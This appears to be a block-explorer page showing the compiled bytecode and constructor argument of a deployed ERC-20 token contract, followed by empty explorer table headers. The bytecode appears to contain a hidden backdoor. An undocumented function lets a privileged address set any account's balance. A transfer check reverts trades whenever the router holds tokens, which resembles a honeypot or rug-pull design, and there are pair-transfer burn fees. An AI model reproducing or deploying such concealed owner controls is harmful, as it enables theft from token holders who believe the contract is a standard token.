0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610259578063a9059cbb1461026c578063b46cb2081461027f578063dd62ed3e14610292578063f2fde38b146102cb57600080fd5b8063715018a6146102025780638c0b5e221461020a5780638da5cb5b1461021357806395d89b411461022e57806398636f321461023657600080fd5b8063333e6f06116100f4578063333e6f06146101a657806339509351146101af57806344489ad1146101c257806362256589146101cf57806370a08231146101d957600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102de565b6040516101469190610ef5565b60405180910390f35b61016261015d366004610f58565b610370565b6040519015158152602001610146565b6004545b604051908152602001610146565b610162610192366004610f84565b610387565b60405160098152602001610146565b61017660095481565b6101626101bd366004610f58565b61043d565b6007546101629060ff1681565b6101d7610474565b005b6101766101e7366004610fc5565b6001600160a01b031660009081526002602052604090205490565b6101d761048b565b61017660085481565b6000546040516001600160a01b039091168152602001610146565b61013961049f565b610162610244366004610fc5565b600a6020526000908152604090205460ff1681565b610162610267366004610f58565b6104ae565b61016261027a366004610f58565b610549565b61017661028d366004610f58565b610556565b6101766102a0366004610fe2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101d76102d9366004610fc5565b6105ad565b6060600580546102ed9061101b565b80601f01602080910402602001604051908101604052809291908181526020018280546103199061101b565b80156103665780601f1061033b57610100808354040283529160200191610366565b820191906000526020600020905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b600061037d338484610626565b5060015b92915050565b600061039484848461074a565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561041e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610432853361042d868561106b565b610626565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161037d91859061042d90869061107e565b61047c6108cb565b6007805460ff19166001179055565b6104936108cb565b61049d6000610925565b565b6060600680546102ed9061101b565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156105305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610415565b61053f338561042d868561106b565b5060019392505050565b600061037d33848461074a565b6001546000906001600160a01b03163314610589576001600160a01b0383166000908152600260205260409020546105a6565b6001600160a01b0383166000908152600260205260409020829055815b9392505050565b6105b56108cb565b6001600160a01b03811661061a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610415565b61062381610925565b50565b6001600160a01b0383166106885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b0382166106e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107705760405162461bcd60e51b815260040161041590611091565b6001600160a01b0382166107965760405162461bcd60e51b8152600401610415906110d6565b6107a1838383610983565b806000036107ae57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156107f057506001600160a01b0382166000908152600a602052604090205460ff16155b156108bb57600d546001600160a01b03166000908152600260205260409020541561085d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610415565b600c546001600160a01b03848116911614806108865750600c546001600160a01b038381169116145b156108bb5760006064600b548361089d9190611119565b6108a79190611130565b90506108b584848484610c4e565b50505050565b6108c6838383610dd6565b505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610415565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166108c6576001600160a01b0383166000908152600a602052604090205460ff161580156109cf57506001600160a01b0382166000908152600a602052604090205460ff16155b156108c657600854811115610a1b5760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610415565b600c546001600160a01b0316610bb857600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611152565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b289190611152565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b979190611152565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610bd357505050565b60095481610bf6846001600160a01b031660009081526002602052604090205490565b610c00919061107e565b11156108c65760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610415565b6001600160a01b038416610c745760405162461bcd60e51b815260040161041590611091565b6001600160a01b038316610c9a5760405162461bcd60e51b8152600401610415906110d6565b6001600160a01b03841660009081526002602052604090205482811015610cd35760405162461bcd60e51b81526004016104159061116f565b6001600160a01b03851660009081526002602052604090208382039055610cfa828461106b565b92508160046000828254610d0e919061106b565b90915550506001600160a01b03841660009081526002602052604081208054859290610d3b90849061107e565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610dc791815260200190565b60405180910390a35050505050565b6001600160a01b038316610dfc5760405162461bcd60e51b815260040161041590611091565b6001600160a01b038216610e225760405162461bcd60e51b8152600401610415906110d6565b6001600160a01b03831660009081526002602052604090205481811015610e5b5760405162461bcd60e51b81526004016104159061116f565b610e65828261106b565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610e9b90849061107e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee791815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610f2257858101830151858201604001528201610f06565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461062357600080fd5b60008060408385031215610f6b57600080fd5b8235610f7681610f43565b946020939093013593505050565b600080600060608486031215610f9957600080fd5b8335610fa481610f43565b92506020840135610fb481610f43565b929592945050506040919091013590565b600060208284031215610fd757600080fd5b81356105a681610f43565b60008060408385031215610ff557600080fd5b823561100081610f43565b9150602083013561101081610f43565b809150509250929050565b600181811c9082168061102f57607f821691505b60208210810361104f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561038157610381611055565b8082018082111561038157610381611055565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761038157610381611055565b60008261114d57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561116457600080fd5b81516105a681610f43565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220b3d61c8bd7b938358ae6d1bd9f1f87d3161894bf63be80ad3178bfe0ac97863a64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.